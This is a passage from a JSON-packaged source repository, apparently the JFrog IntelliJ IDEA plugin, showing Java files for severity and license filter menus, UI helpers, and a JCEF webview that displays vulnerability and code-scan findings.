FilterType and boolean that represents whether the filter is checked or not\n     * @param putUnknownLast - Put the unknown checkbox last in the filters list\n     */\n    protected void addComponents(@NotNull Map<FilterType, Boolean> selectionMap, boolean putUnknownLast) {\n        setSelectAllCheckbox(selectionMap);\n        setListeners(selectionMap);\n        addCheckboxes(putUnknownLast);\n    }\n\n    /**\n     * Set 'All' checkbox. If all checkboxes are checked make 'All' checked.\n     * Otherwise - If there is one filter applied make 'All' unchecked.\n     *\n     * @param selectionMap - map between FilterType and boolean that represents whether the filter is checked or not\n     */\n    private void setSelectAllCheckbox(Map<FilterType, Boolean> selectionMap) {\n        selectAllCheckbox.setChecked(!selectionMap.containsValue(false));\n    }\n\n    private void setListeners(Map<FilterType, Boolean> selectionMap) {\n        selectionMap.keySet().stream()\n                .filter(item -> checkBoxMenuItems.stream()\n                        .map(AbstractButton::getText)\n                        .noneMatch(text -> StringUtils.equals(text, item.toString())))\n                .map(key -> new SelectionCheckbox<>(selectionMap, key, getSyncEvent()))\n                .forEach(checkBoxMenuItems::add);\n        selectAllCheckbox.setListeners(selectionMap, checkBoxMenuItems);\n    }\n\n    private void addCheckboxes(boolean putUnknownLast) {\n        if (isCheckboxNew(selectAllCheckbox)) {\n            add(selectAllCheckbox);\n        }\n        if (putUnknownLast) {\n            checkBoxMenuItems.stream()\n                    .filter(this::isCheckboxNew)\n                    .sorted(Comparator.comparing(item -> \"Unknown\".equals(item.getText())))\n                    .forEach(this::add);\n        } else {\n            checkBoxMenuItems.forEach(this::add);\n        }\n    }\n\n    /**\n     * This method is a filter for adding the filter checkboxes.\n     * If the filter is already exist in the list, we should not add it again.\n     *\n     * @param checkBoxMenuItem - The checkbox item to check.\n     * @return true if the checkbox is new. False otherwise.\n     */\n    private boolean isCheckboxNew(MenuCheckbox checkBoxMenuItem) {\n        return Arrays.stream(getComponents())\n                .map(component -> (MenuCheckbox) component)\n                .noneMatch(component -> component.getText().equals(checkBoxMenuItem.getText()));\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/IssueFilterMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermenu;\n\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.filter.FilterManager;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.Severity;\n\nimport java.util.Map;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic abstract class IssueFilterMenu extends FilterMenu<Severity> {\n    public static final String TOOLTIP = \"Select severities to show\";\n    public static final String NAME = \"Severity\";\n\n    public IssueFilterMenu(@NotNull Project project, FilterManager filterManager) {\n        super(project, NAME, TOOLTIP);\n        Map<Severity, Boolean> severitiesFilters = filterManager.getSelectedSeverities();\n        addComponents(severitiesFilters, false);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/LicenseFilterMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermenu;\n\nimport com.intellij.openapi.project.Project;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.License;\n\n/**\n * Created by Yahav Itzhak on 23 Nov 2017.\n */\npublic abstract class LicenseFilterMenu extends FilterMenu<License> {\n\n    public static final String NAME = \"License\";\n    public static final String TOOLTIP = \"Select licenses to show\";\n\n    public LicenseFilterMenu(@NotNull Project project) {\n        super(project, NAME, TOOLTIP);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/ScopeFilterMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermenu;\n\nimport com.intellij.openapi.project.Project;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.Scope;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic abstract class ScopeFilterMenu extends FilterMenu<Scope> {\n\n    public static final String NAME = \"Scope\";\n    public static final String TOOLTIP = \"Select scopes to show\";\n\n    public ScopeFilterMenu(@NotNull Project project) {\n        super(project, NAME, TOOLTIP);\n    }\n\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/utils/ComponentUtils.java",
    "content": "package com.jfrog.ide.idea.ui.utils;\n\nimport com.intellij.ide.BrowserUtil;\nimport com.intellij.openapi.options.ShowSettingsUtil;\nimport com.intellij.ui.HyperlinkLabel;\nimport com.intellij.ui.components.JBLabel;\nimport com.intellij.ui.components.JBPanel;\nimport com.intellij.util.ui.JBInsets;\nimport com.intellij.util.ui.UIUtil;\nimport com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration;\n\nimport javax.swing.*;\nimport javax.swing.tree.TreePath;\nimport java.awt.*;\n\n/**\n * Created by romang on 5/7/17.\n */\npublic class ComponentUtils {\n    public static JTextArea createJTextArea(String text, boolean lineWrap) {\n        JTextArea jTextArea = new JTextArea(text);\n        jTextArea.setOpaque(true);\n        jTextArea.setEditable(false);\n        jTextArea.setLineWrap(lineWrap);\n        jTextArea.setWrapStyleWord(true);\n        jTextArea.setBackground(UIUtil.getTableBackground());\n        jTextArea.setMargin(new JBInsets(2, 2, 2, 2));\n        return jTextArea;\n    }\n\n    public static JLabel createDisabledTextLabel(String text) {\n        JLabel label = new JBLabel(text);\n        label.setEnabled(false);\n        label.setHorizontalAlignment(SwingConstants.CENTER);\n        return label;\n    }\n\n    public static JComponent createNoCredentialsView() {\n        JPanel noCredentialsPanel = new JBPanel<>();\n        noCredentialsPanel.setLayout(new BoxLayout(noCredentialsPanel, BoxLayout.PAGE_AXIS));\n\n        // \"Thank you for installing the JFrog plugin\"\n        JBLabel thanksLabel = new JBLabel();\n        thanksLabel.setText(\"Thank you for installing the JFrog IntelliJ IDEA Plugin!\");\n        addCenteredComponent(noCredentialsPanel, thanksLabel);\n\n        // \"If you already have a JFrog environment, configure its connection details.\"\n        HyperlinkLabel configLink = new HyperlinkLabel();\n        configLink.setTextWithHyperlink(\"If you already have a JFrog environment,<hyperlink>configure</hyperlink> its connection details.\");\n        configLink.addHyperlinkListener(e -> ShowSettingsUtil.getInstance().showSettingsDialog(null, JFrogGlobalConfiguration.class));\n        addCenteredComponent(noCredentialsPanel, configLink);\n\n        // \"Don't have a JFrog environment? Get one for FREE!\"\n        HyperlinkLabel getFreeLink = new HyperlinkLabel();\n        getFreeLink.setTextWithHyperlink(\"Don't have a JFrog environment?<hyperlink>Get one for FREE!</hyperlink>\");\n        getFreeLink.addHyperlinkListener(e -> BrowserUtil.browse(\"https://github.com/jfrog/jfrog-idea-plugin#set-up-a-free-jfrog-environment-in-the-cloud\"));\n        addCenteredComponent(noCredentialsPanel, getFreeLink);\n\n        // \"Read more about the plugin.\"\n        HyperlinkLabel readMoreLink = new HyperlinkLabel();\n        readMoreLink.setTextWithHyperlink(\"<hyperlink>Read more</hyperlink> about the plugin.\");\n        readMoreLink.addHyperlinkListener(e -> BrowserUtil.browse(\"https://github.com/jfrog/jfrog-idea-plugin#readme\"));\n        addCenteredComponent(noCredentialsPanel, readMoreLink);\n\n        return createUnsupportedPanel(noCredentialsPanel);\n    }\n\n    /**\n     * Add centered {@link JComponent} to the input panel.\n     *\n     * @param panel     - The input panel\n     * @param component - The component to add\n     */\n    public static void addCenteredComponent(JPanel panel, JComponent component) {\n        component.setMaximumSize(component.getPreferredSize());\n        component.setAlignmentX(Component.CENTER_ALIGNMENT);\n        panel.add(component);\n    }\n\n    public static JComponent createNoBuildsView() {\n        HyperlinkLabel link = new HyperlinkLabel();\n        link.setTextWithHyperlink(\"No builds detected. To start viewing your builds please follow <hyperlink>this</hyperlink> guide.\");\n        link.addHyperlinkListener(e -> BrowserUtil.browse(\"https://github.com/jfrog/jfrog-idea-plugin#the-ci-view\"));\n        return createUnsupportedPanel(link);\n    }\n\n    public static JPanel createUnsupportedPanel(Component label) {\n        JBPanel<?> panel = new JBPanel<>(new GridBagLayout());\n        GridBagConstraints c = new GridBagConstraints();\n        c.fill = GridBagConstraints.BOTH;\n        c.anchor = GridBagConstraints.CENTER;\n        panel.add(label, c);\n        panel.setBackground(UIUtil.getTableBackground());\n        return panel;\n    }\n\n    public static String getPathSearchString(TreePath path) {\n        return path.getLastPathComponent().toString();\n    }\n\n    public static void replaceAndUpdateUI(JPanel panel, JComponent component, Object constraint) {\n        panel.removeAll();\n        panel.add(component, constraint);\n        panel.validate();\n        panel.repaint();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/utils/IconUtils.java",
    "content": "package com.jfrog.ide.idea.ui.utils;\n\nimport com.google.common.collect.Maps;\nimport com.intellij.openapi.util.IconLoader;\n\nimport javax.swing.*;\nimport java.util.Map;\n\n/**\n * Created by romang on 4/12/17.\n */\npublic class IconUtils {\n    private static final Icon defaultIcon = getIcon(\"unknown\");\n    private static final Map<String, Icon> icons = Maps.newHashMap();\n\n    public static Icon load(String icon) {\n        if (!icons.containsKey(icon)) {\n            try {\n                icons.put(icon, getIcon(icon));\n            } catch (Exception e) {\n                return defaultIcon;\n            }\n        }\n        return icons.get(icon);\n    }\n\n    private static Icon getIcon(String icon) {\n        return IconLoader.findIcon(\"/icons/\" + icon.toLowerCase() + \".svg\", IconUtils.class);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/WebviewManager.java",
    "content": "package com.jfrog.ide.idea.ui.webview;\n\nimport com.intellij.openapi.Disposable;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.util.Disposer;\nimport com.intellij.ui.jcef.JBCefBrowser;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.ui.JfrogContextMenuHandler;\nimport com.jfrog.ide.idea.ui.webview.event.EventManager;\nimport com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent;\nimport org.cef.CefApp;\nimport org.cef.CefSettings;\nimport org.cef.browser.CefBrowser;\nimport org.cef.browser.CefFrame;\nimport org.cef.handler.CefDisplayHandlerAdapter;\nimport org.cef.handler.CefLoadHandlerAdapter;\nimport org.jetbrains.annotations.NotNull;\n\npublic class WebviewManager implements Disposable {\n    private final JBCefBrowser jbCefBrowser;\n    public EventManager eventManager;\n    private boolean schemeHandlerRegistered = false;\n\n    public WebviewManager(@NotNull Project project, Runnable onLoadEnd) {\n        jbCefBrowser = new JBCefBrowser();\n        // EventManager must be created before the webview is initialized\n        eventManager = new EventManager(jbCefBrowser, project);\n        Disposer.register(this, jbCefBrowser);\n        jbCefBrowser.createImmediately();\n        jbCefBrowser.setOpenLinksInExternalBrowser(true);\n        streamConsoleMessagesToLog();\n        handleLoadEvent(() -> eventManager.onWebviewLoadEnd(onLoadEnd));\n        jbCefBrowser.getJBCefClient().addContextMenuHandler(new JfrogContextMenuHandler(), jbCefBrowser.getCefBrowser());\n    }\n\n    public JBCefBrowser getBrowser() {\n        return jbCefBrowser;\n    }\n\n    private void handleLoadEvent(Runnable onLoadEnd) {\n        jbCefBrowser.getJBCefClient().addLoadHandler(new CefLoadHandlerAdapter() {\n            @Override\n            public void onLoadEnd(CefBrowser browser, CefFrame frame, int httpStatusCode) {\n                Logger.getInstance().debug(\"Issue details view loading ended with status code \" + httpStatusCode);\n                super.onLoadEnd(browser, frame, httpStatusCode);\n                if (onLoadEnd != null) {\n                    onLoadEnd.run();\n                }\n            }\n\n            @Override\n            public void onLoadError(CefBrowser browser, CefFrame frame, ErrorCode errorCode, String errorText, String failedUrl) {\n                super.onLoadError(browser, frame, errorCode, errorText, failedUrl);\n                // When opening links in external browser, JBCef cancels the page redirection and opens the page in a new browser window.\n                // This cancelation causes CEF to throw an ERR_ABORTED error.\n                if (errorCode == ErrorCode.ERR_ABORTED) {\n                    return;\n                }\n                Logger.getInstance().error(\"An error occurred while opening the issue details view: \" + errorText);\n            }\n        }, jbCefBrowser.getCefBrowser());\n    }\n\n    private void streamConsoleMessagesToLog() {\n        jbCefBrowser.getJBCefClient().addDisplayHandler(new CefDisplayHandlerAdapter() {\n            @Override\n            public boolean onConsoleMessage(CefBrowser browser, CefSettings.LogSeverity level, String message, String source, int line) {\n                if (level == CefSettings.LogSeverity.LOGSEVERITY_VERBOSE) {\n                    Logger.getInstance().debug(String.format(\"Webview console message: %s - %s\", level, message));\n                } else {\n                    Logger.getInstance().info(String.format(\"Webview console message: %s - %s\", level, message));\n                }\n                return false;\n            }\n        }, jbCefBrowser.getCefBrowser());\n    }\n\n    public void sendMessage(WebviewEvent.Type type, Object data) {\n        loadPageIfNeeded();\n        eventManager.send(type, data);\n    }\n\n    private void loadPageIfNeeded() {\n        if (!schemeHandlerRegistered) {\n            // Register the scheme handler factory right before the webview is first opened.\n            // Performing this action earlier sometimes results in a crash or a fatal error, particularly in IntelliJ 2022.3.\n            CefApp.getInstance().registerSchemeHandlerFactory(\"http\", \"jfrog-idea-plugin\", new WebviewSchemeHandlerFactory());\n            jbCefBrowser.loadURL(\"http://jfrog-idea-plugin/index.html\");\n            schemeHandlerRegistered = true;\n        }\n    }\n\n    @Override\n    public void dispose() {\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/WebviewObjectConverter.java",
    "content": "package com.jfrog.ide.idea.ui.webview;\n\nimport com.jfrog.ide.common.nodes.*;\nimport com.jfrog.ide.common.nodes.subentities.*;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder;\nimport com.jfrog.ide.idea.ui.webview.model.Cve;\nimport com.jfrog.ide.idea.ui.webview.model.Evidence;\nimport com.jfrog.ide.idea.ui.webview.model.License;\nimport com.jfrog.ide.idea.ui.webview.model.*;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.nio.file.Paths;\nimport java.util.Collection;\nimport java.util.List;\n\npublic class WebviewObjectConverter {\n    public static DependencyPage convertIssueToDepPage(VulnerabilityNode vulnerabilityNode) {\n        ExtendedInformation extendedInformation = null;\n        if (vulnerabilityNode.getResearchInfo() != null) {\n            ResearchInfo issueResearchInfo = vulnerabilityNode.getResearchInfo();\n            Collection<SeverityReason> severityReasons = CollectionUtils.emptyIfNull(issueResearchInfo.getSeverityReasons());\n            JfrogResearchSeverityReason[] researchSeverityReasons = severityReasons.stream().map(severityReason -> new JfrogResearchSeverityReason(severityReason.getName(), severityReason.getDescription(), severityReason.isPositive())).toArray(JfrogResearchSeverityReason[]::new);\n            extendedInformation = new ExtendedInformation(issueResearchInfo.getShortDescription(), issueResearchInfo.getFullDescription(), issueResearchInfo.getSeverity().name(), issueResearchInfo.getRemediation(), researchSeverityReasons);\n        }\n        DependencyNode dependency = vulnerabilityNode.getParentArtifact();\n        String[] watchNames = null;\n        if (vulnerabilityNode.getWatchNames() != null) {\n            watchNames = vulnerabilityNode.getWatchNames().toArray(new String[0]);\n        }\n        License[] licenses = null;\n        if (dependency.getLicenses() != null) {\n            licenses = dependency.getLicenses().stream().map(depLicense -> new License(depLicense.getName(), depLicense.getMoreInfoUrl())).toArray(License[]::new);\n        }\n        return new DependencyPage()\n                .id(vulnerabilityNode.getIssueId())\n                .component(dependency.getArtifactId())\n                .componentType(getPackageTypeName(dependency.getComponentId()))\n                .version(dependency.getVersion())\n                .severity(vulnerabilityNode.getSeverity(false).name())\n                .license(licenses)\n                .summary(vulnerabilityNode.getSummary())\n                .fixedVersion(convertVersionRanges(vulnerabilityNode.getFixedVersions()))\n                .infectedVersion(convertVersionRanges(vulnerabilityNode.getInfectedVersions()))\n                .references(convertReferences(vulnerabilityNode.getReferences()))\n                .cve(convertCve(vulnerabilityNode.getCve(), convertApplicableDetails(vulnerabilityNode.getApplicableInfo())))\n                .impactGraph(convertImpactGraph(dependency.getImpactTree()))\n                .watchName(watchNames)\n                .edited(vulnerabilityNode.getLastUpdated())\n                .extendedInformation(extendedInformation);\n    }\n\n    public static IssuePage convertFileIssueToIssuePage(FileIssueNode fileIssueNodeNode) {\n        return new IssuePage()\n                .header(fileIssueNodeNode.getTitle())\n                .type(ConvertPageType(fileIssueNodeNode.getReporterType()))\n                .severity(fileIssueNodeNode.getSeverity().name())\n                .description(fileIssueNodeNode.getReason())\n                .location(convertFileLocation(fileIssueNodeNode));\n    }\n\n    public static IssuePage convertSastIssueToSastIssuePage(SastIssueNode sastIssueNode) {\n        return new SastIssuePage(convertFileIssueToIssuePage(sastIssueNode))\n                .setAnalysisSteps(convertCodeFlowsToLocations(sastIssueNode.getCodeFlows()))\n                .setRuleID(sastIssueNode.getRuleId());\n    }\n\n    private static Location[] convertCodeFlowsToLocations(FindingInfo[][] codeFlows) {\n        if (codeFlows != null && codeFlows.length > 0) {\n            Location[] locations = new Location[codeFlows[0].length];\n            for (int i = 0; i < codeFlows[0].length; i++) {\n                FindingInfo codeFlow = codeFlows[0][i];\n                locations[i] = new Location(\n                        codeFlow.getFilePath(),\n                        Paths.get(codeFlow.getFilePath()).getFileName().toString(),\n                        codeFlow.getRowStart(),\n                        codeFlow.getColStart(),\n                        codeFlow.getRowEnd(),\n                        codeFlow.getColEnd(),\n                        codeFlow.getLineSnippet());\n            }\n            return locations;\n        }\n        return null;\n    }\n\n    private static String ConvertPageType(SourceCodeScanType reporterType) {\n        return switch (reporterType) {\n            case SECRETS -> \"SECRETS\";\n            case IAC -> \"IAC\";\n            case SAST -> \"SAST\";\n            default -> \"EMPTY\";\n        };\n    }\n\n    private static Location convertFileLocation(FileIssueNode fileIssueNodeNode) {\n        return new Location(\n                fileIssueNodeNode.getFilePath(),\n                Paths.get(fileIssueNodeNode.getFilePath()).getFileName().toString(),\n                fileIssueNodeNode.getRowStart() + 1,\n                fileIssueNodeNode.getColStart() + 1,\n                fileIssueNodeNode.getRowEnd() + 1,\n                fileIssueNodeNode.getColEnd() + 1,\n                fileIssueNodeNode.getLineSnippet());\n    }\n\n    private static ApplicableDetails convertApplicableDetails(ApplicableInfo applicableInfo) {\n        ApplicableDetails applicableDetails = null;\n        if (applicableInfo != null) {\n            if (applicableInfo.isApplicable()) {\n                String searchTarget = applicableInfo.getSearchTarget();\n                List<com.jfrog.ide.common.nodes.subentities.Evidence> evidencesInfo = applicableInfo.getEvidences();\n                Evidence[] evidences = new Evidence[evidencesInfo.size()];\n                var i = 0;\n                for (var evidenceInfo : evidencesInfo) {\n                    evidences[i++] = new Evidence(evidenceInfo.getReason(), evidenceInfo.getFilePathEvidence(), evidenceInfo.getCodeEvidence());\n                }\n                applicableDetails = new ApplicableDetails(true, evidences, searchTarget);\n            } else {\n                // If we know the issue is not applicable, adds the relevant ApplicableDetails.\n                applicableDetails = new ApplicableDetails(false, null, null);\n            }\n        }\n        return applicableDetails;\n    }\n\n    public static DependencyPage convertLicenseToDepPage(LicenseViolationNode license) {\n        DependencyNode dependency = license.getParentArtifact();\n        String[] watchNames = null;\n        if (license.getWatchNames() != null) {\n            watchNames = license.getWatchNames().toArray(new String[0]);\n        }\n        return new DependencyPage()\n                .id(license.getName())\n                .component(dependency.getArtifactId())\n                .componentType(getPackageTypeName(dependency.getComponentId()))\n                .version(dependency.getVersion())\n                .severity(license.getSeverity().name())\n                .references(convertReferences(license.getReferences()))\n                .impactGraph(convertImpactGraph(dependency.getImpactTree()))\n                .watchName(watchNames)\n                .edited(license.getLastUpdated());\n    }\n\n    private static ImpactGraph convertImpactGraph(ImpactTree impactTree) {\n        return new ImpactGraph(convertImpactGraphNode(impactTree.getRoot()), impactTree.getImpactPathsCount() >= ImpactTree.IMPACT_PATHS_LIMIT ? impactTree.getImpactPathsCount() : -1);\n    }\n\n    private static ImpactGraphNode convertImpactGraphNode(ImpactTreeNode impactTreeNode) {\n        ImpactGraphNode[] children = impactTreeNode.getChildren().stream().map(WebviewObjectConverter::convertImpactGraphNode).toArray(ImpactGraphNode[]::new);\n        return new ImpactGraphNode(impactTreeNode.getName(), children);\n    }\n\n    private static Cve convertCve(com.jfrog.ide.common.nodes.subentities.Cve cve, ApplicableDetails applicableDetails) {\n        return new Cve(\n                cve.getCveId(),\n                cve.getCvssV2Score(),\n                cve.getCvssV2Vector(),\n                cve.getCvssV3Score(),\n                cve.getCvssV3Vector(),\n                applicableDetails\n        );\n    }\n\n\n    private static String[] convertVersionRanges(List<String> xrayVerRanges) {\n        if (xrayVerRanges == null) {\n            return new String[0];\n        }\n        return xrayVerRanges.stream().map(WebviewObjectConverter::convertVersionRange).toArray(String[]::new);\n    }\n\n    private static String convertVersionRange(String xrayVerRange) {\n        final char upInclude = ']';\n        final char upNotInclude = ')';\n        final char downInclude = '[';\n        final char downNotInclude = '(';\n\n        final String lt = \"<\";\n        final String lte = \"≤\";\n        final String gt = \">\";\n        final String gte = \"≥\";\n        final String versionPlacer = \"version\";\n        final String allVersions = \"All versions\";\n\n        boolean containsLeft = false;\n        boolean containsRight = false;\n\n        String[] parts = xrayVerRange.split(\",\");\n        if (parts.length == 1) {\n            String singleVer = parts[0];\n            if (singleVer.charAt(0) == downInclude && singleVer.charAt(singleVer.length() - 1) == upInclude) {\n                // Remove [ and ]\n                return singleVer.substring(1, singleVer.length() - 1);\n            }\n        }\n\n        if (parts.length != 2) {\n            // Cannot convert\n            return xrayVerRange;\n        }\n\n        // Parse both parts of the version range\n        String leftSide = parts[0];\n        String rightSide = parts[1];\n        if (leftSide.charAt(0) == downInclude) {\n            containsLeft = true;\n        } else if (leftSide.charAt(0) != downNotInclude) {\n            // Cannot convert\n            return xrayVerRange;\n        }\n        if (rightSide.charAt(rightSide.length() - 1) == upInclude) {\n            containsRight = true;\n        } else if (rightSide.charAt(rightSide.length() - 1) != upNotInclude) {\n            // Cannot convert\n            return xrayVerRange;\n        }\n\n        // Remove [\n        String leftVer = leftSide.substring(1).trim();\n        // Remove ]\n        String rightVer = rightSide.substring(0, rightSide.length() - 1).trim();\n        boolean leftEmpty = leftVer.isEmpty();\n        boolean rightEmpty = rightVer.isEmpty();\n\n        if (leftEmpty && rightEmpty) {\n            return allVersions;\n        }\n        if (leftEmpty) {\n            if (containsRight) {\n                return lte + \" \" + rightVer;\n            }\n            return lt + \" \" + rightVer;\n        }\n        if (rightEmpty) {\n            if (containsLeft) {\n                return gte + \" \" + leftVer;\n            }\n            return gt + \" \" + leftVer;\n        }\n\n        // Left and right sides are not empty\n        String res = leftVer + \" \";\n        if (containsLeft) {\n            res += lte;\n        } else {\n            res += lt;\n        }\n        res += \" \" + versionPlacer + \" \";\n        if (containsRight) {\n            res += lte;\n        } else {\n            res += lt;\n        }\n        res += \" \" + rightVer;\n        return res;\n    }\n\n    private static Reference[] convertReferences(List<String> xrayReferences) {\n        if (xrayReferences == null) {\n            return null;\n        }\n        return xrayReferences.stream().map(xrRef -> {\n            if (!xrRef.startsWith(\"[\")) {\n                return new Reference(xrRef, null);\n            }\n            String[] parts = xrRef.split(\"]\\\\(\");\n            if (parts.length != 2 || !parts[1].endsWith(\")\")) {\n                return new Reference(xrRef, null);\n            }\n            return new Reference(parts[1].substring(0, parts[1].length() - 1), parts[0].substring(1));\n        }).toArray(Reference[]::new);\n    }\n\n    private static String getPackageTypeName(String componentId) {\n        String GENERIC_PKG_TYPE = \"Generic\";\n        String[] compIdParts = componentId.split(\"://\");\n        if (compIdParts.length != 2) {\n            return GENERIC_PKG_TYPE;\n        }\n        try {\n            ComponentPrefix prefix = ComponentPrefix.valueOf(compIdParts[0].toUpperCase());\n            return prefix.getPackageTypeName();\n        } catch (IllegalArgumentException e) {\n            return GENERIC_PKG_TYPE;\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/WebviewResourceHandler.java",
    "content": "package com.jfrog.ide.idea.ui.webview;\n\nimport com.jfrog.ide.idea.log.Logger;\nimport org.cef.callback.CefCallback;\nimport org.cef.handler.CefLoadHandler;\nimport org.cef.handler.CefResourceHandler;\nimport org.cef.misc.IntRef;\nimport org.cef.misc.StringRef;\nimport org.cef.network.CefRequest;\nimport org.cef.network.CefResponse;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URL;\nimport java.net.URLConnection;\n\n/**\n * We use this handler to read web resources that are saved inside the plugin's JAR.\n */\npublic class WebviewResourceHandler implements CefResourceHandler {\n    private URL currUrl;\n    private URLConnection connection;\n    private InputStream webviewInputStream;\n    private boolean error;\n\n    @Override\n    public boolean processRequest(CefRequest request, CefCallback callback) {\n        String pathToResource = request.getURL().replace(\"http://jfrog-idea-plugin\", \"/jfrog-ide-webview\");\n        currUrl = WebviewResourceHandler.class.getResource(pathToResource);\n        try {\n            //noinspection DataFlowIssue\n            connection = currUrl.openConnection();\n            if (webviewInputStream != null) {\n                webviewInputStream.close();\n            }\n            webviewInputStream = connection.getInputStream();\n            error = false;\n            callback.Continue();\n            return true;\n        } catch (IOException | NullPointerException e) {\n            Logger.getInstance().error(\"An error occurred while reading webview resource: \" + currUrl.toString(), e);\n            error = true;\n            return false;\n        }\n    }\n\n    @Override\n    public void getResponseHeaders(CefResponse response, IntRef responseLength, StringRef redirectUrl) {\n        if (error) {\n            response.setError(CefLoadHandler.ErrorCode.ERR_FAILED);\n            response.setStatus(500);\n            return;\n        }\n        String url = currUrl.toString();\n        String postfix = url.substring(url.lastIndexOf(\".\") + 1);\n        switch (postfix) {\n            case \"css\":\n                response.setMimeType(\"text/css\");\n                break;\n            case \"js\":\n                response.setMimeType(\"text/javascript\");\n                break;\n            case \"html\":\n                response.setMimeType(\"text/html\");\n                break;\n            default:\n                response.setMimeType(connection.getContentType());\n        }\n        try {\n            responseLength.set(webviewInputStream.available());\n        } catch (IOException e) {\n            Logger.getInstance().error(\"An error occurred while reading webview resource.\", e);\n            webviewInputStream = null;\n            response.setError(CefLoadHandler.ErrorCode.ERR_FAILED);\n            response.setStatus(500);\n            return;\n        }\n        response.setStatus(200);\n    }\n\n    @Override\n    public boolean readResponse(byte[] dataOut, int bytesToRead, IntRef bytesRead, CefCallback callback) {\n        try {\n            int availableSize = webviewInputStream.available();\n            if (availableSize < 1) {\n                webviewInputStream.close();\n                webviewInputStream = null;\n                return false;\n            }\n            int maxBytesToRead = Math.min(availableSize, bytesToRead);\n            bytesRead.set(webviewInputStream.read(dataOut, 0, maxBytesToRead));\n        } catch (IOException e) {\n            Logger.getInstance().error(\"An error occurred while reading webview resource.\", e);\n            webviewInputStream = null;\n            return false;\n        }\n        return true;\n    }\n\n    @Override\n    public void cancel() {\n        try {\n            if (webviewInputStream != null) {\n                webviewInputStream.close();\n            }\n        } catch (IOException e) {\n            // Do nothing\n        }\n        webviewInputStream = null;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/WebviewSchemeHandlerFactory.java",
    "content": "package com.jfrog.ide.idea.ui.webview;\n\nimport org.cef.browser.CefBrowser;\nimport org.cef.browser.CefFrame;\nimport org.cef.callback.CefSchemeHandlerFactory;\nimport org.cef.handler.CefResourceHandler;\nimport org.cef.network.CefRequest;\n\npublic class WebviewSchemeHandlerFactory implements CefSchemeHandlerFactory {\n    @Override\n    public CefResourceHandler create(CefBrowser browser, CefFrame frame, String schemeName, CefRequest request) {\n        return new WebviewResourceHandler();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/event/EventManager.java",
    "content": "package com.jfrog.ide.idea.ui.webview.event;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.ui.jcef.JBCefBrowser;\nimport com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent;\nimport org.jetbrains.annotations.NotNull;\n\n/**\n * The EventManager is responsible for managing events between the IDE and the Webview.\n * It handles the creation of a receiver and sender, allowing communication between the components.\n */\npublic class EventManager {\n    private final static String ideSendFuncName = \"sendMessageToIdeFunc\";\n    private final Receiver receiver;\n    private final Sender sender;\n\n    /**\n     * Constructs a new EventManager with the provided JBCefBrowser and Project.\n     * Note: The eventManager must be created before the webview is initialized.\n     *\n     * @param jbBrowser The JBCefBrowser associated with the webview.\n     * @param project   The Project associated with the IDE.\n     */\n    public EventManager(JBCefBrowser jbBrowser, @NotNull Project project) {\n        this.receiver = new Receiver(jbBrowser, project);\n        this.sender = new Sender(jbBrowser.getCefBrowser());\n    }\n\n    /**\n     * Invoked when the webview finishes loading.\n     * Creates the IDE send function body and sends it to the webview.\n     * Finally, it runs onLoadEvent, if provided.\n     *\n     * @param onLoadEnd A {@link Runnable} to run when the webview finishes loading.\n     */\n    public void onWebviewLoadEnd(Runnable onLoadEnd) {\n        String ideSendFuncBody = this.receiver.createIdeSendFuncBody(ideSendFuncName);\n        this.sender.sendIdeSendFunc(ideSendFuncName, ideSendFuncBody);\n        if (onLoadEnd != null) {\n            onLoadEnd.run();\n        }\n    }\n\n    /**\n     * Sends an event of the specified type and data to the webview.\n     *\n     * @param type The type of the webview event.\n     * @param data The data associated with the event.\n     */\n    public void send(WebviewEvent.Type type, Object data) {\n        this.sender.sendEvent(type, data);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/event/Receiver.java",
